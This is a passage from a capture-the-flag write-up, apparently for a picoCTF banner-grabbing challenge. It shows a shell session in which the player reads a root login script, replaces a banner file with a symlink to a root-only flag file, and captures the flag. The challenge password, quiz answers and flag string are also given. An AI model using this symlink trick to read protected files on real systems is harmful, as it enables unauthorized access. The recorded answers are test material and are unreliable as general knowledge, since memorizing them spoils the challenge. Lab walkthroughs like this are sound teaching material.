drwxr-xr-x   2 root   root  34 May 30  2023 lib64 

drwxr-xr-x   2 root   root   6 May 30  2023 media 

drwxr-xr-x   2 root   root   6 May 30  2023 mnt 

drwxr-xr-x   2 root   root   6 May 30  2023 opt 

dr-xr-xr-x 206 nobody nogroup 0 Apr 19 18:54 proc 

drwxr-xr-x   1 root   root   6 Mar  9 16:39 root 

drwxr-xr-x   1 root   root  22 Apr 19 18:54 run 

drwxr-xr-x   1 root   root  25 Apr 19 18:54 sbin 

drwxr-xr-x   2 root   root   6 May 30  2023 srv 

dr-xr-xr-x  13 nobody nogroup 0 Apr 19 18:54 sys 

drwxrwxrwt   1 root   root   6 Mar  9 16:39 tmp 

drwxr-xr-x   1 root   root  18 May 30  2023 usr 

drwxr-xr-x   1 root   root  17 May 30  2023 var 

 

 

 

player@challenge:/$ cd root 

cd root 

player@challenge:/root$ ls -al 

ls -al 

total 16 

drwxr-xr-x 1 root root 6 Mar  9 16:39 . 

drwxr-xr-x 1 root root   29 Apr 19 18:54 .. 

-rw-r--r-- 1 root root 3106 Apr  9  2018 .bashrc 

-rw-r--r-- 1 root root  148 Aug 17  2015 .profile 

-rwx------ 1 root root   46 Mar  9 16:39 flag.txt 

-rw-r--r-- 1 root root 1317 Feb  7 17:25 script.py 

player@challenge:/root$ cat flag.txt 

cat flag.txt 

cat: flag.txt: Permission denied 

player@challenge:/root$ cat script.py 

cat script.py 

  

import os 

import pty 

  

incorrect_ans_reply = "Lol, good try, try again and good luck\n" 

  

if __name__ == "__main__": 

try: 

   with open("/home/player/banner", "r") as f: 

     print(f.read()) 

except: 

   print("*********************************************") 

   print("***************DEFAULT BANNER****************") 

   print("*Please supply banner in /home/player/banner*") 

   print("*********************************************") 

  

try: 

request = input("what is the password? \n").upper() 

while request: 

     if request == 'MY_PASSW@RD_@1234': 

         text = input("What is the top cyber security conference in the world?\n").upper() 

         if text == 'DEFCON' or text == 'DEF CON': 

             output = input( 

                 "the first hacker ever was known for phreaking(making free phone calls), who was it?\n").upper() 

             if output == 'JOHN DRAPER' or output == 'JOHN THOMAS DRAPER' or output == 'JOHN' or output== 'DRAPER': 

                    scmd = 'su - player' 

                    pty.spawn(scmd.split(' ')) 

  

             else: 

                 print(incorrect_ans_reply) 

         else: 

             print(incorrect_ans_reply) 

     else: 

         print(incorrect_ans_reply) 

         break 

  

except: 

    KeyboardInterrupt 

  

player@challenge:/root$ who 

who 

player@challenge:/root$ whoami 

whoami 

player 

player@challenge:/root$ cd 

cd 

player@challenge:~$ ls -al 

ls -al 

total 20 

drwxr-xr-x 1 player player   20 Mar  9 16:39 . 

drwxr-xr-x 1 root   root 20 Mar  9 16:39 .. 

-rw-r--r-- 1 player player  220 Apr  4  2018 .bash_logout 

-rw-r--r-- 1 player player 3771 Apr  4  2018 .bashrc 

-rw-r--r-- 1 player player  807 Apr  4  2018 .profile 

-rw-r--r-- 1 player player  114 Feb  7 17:25 banner 

-rw-r--r-- 1 root   root 13 Feb  7 17:25 text 

 

So /root/flag.txt is only accessible for root. Read the script.py and you can see this is the script running when user login. It will display banner file content. So, what is we replace that banner file with flag.txt so it will show the content of flag.txt? 

 

player@challenge:~$ rm banner 

rm banner 

player@challenge:~$ ln -s /root/flag.txt banner 

ln -s /root/flag.txt banner 

player@challenge:~$ exit 

exit 

logout 

What is the top cyber security conference in the world? 

DEF CON 

the first hacker ever was known for phreaking(making free phone calls), who was it? 

John Draper 

player@challenge:~$                                                                               

 

┌──(kali㉿kali)-[~] 

└─$ nc tethys.picoctf.net 63833 

picoCTF{b4nn3r_gr4bb1n9_su((3sfu11y_b3ee718e} 

  

what is the password?  

                          

 

 

picoCTF{b4nn3r_gr4bb1n9_su((3sfu11y_b3ee718e}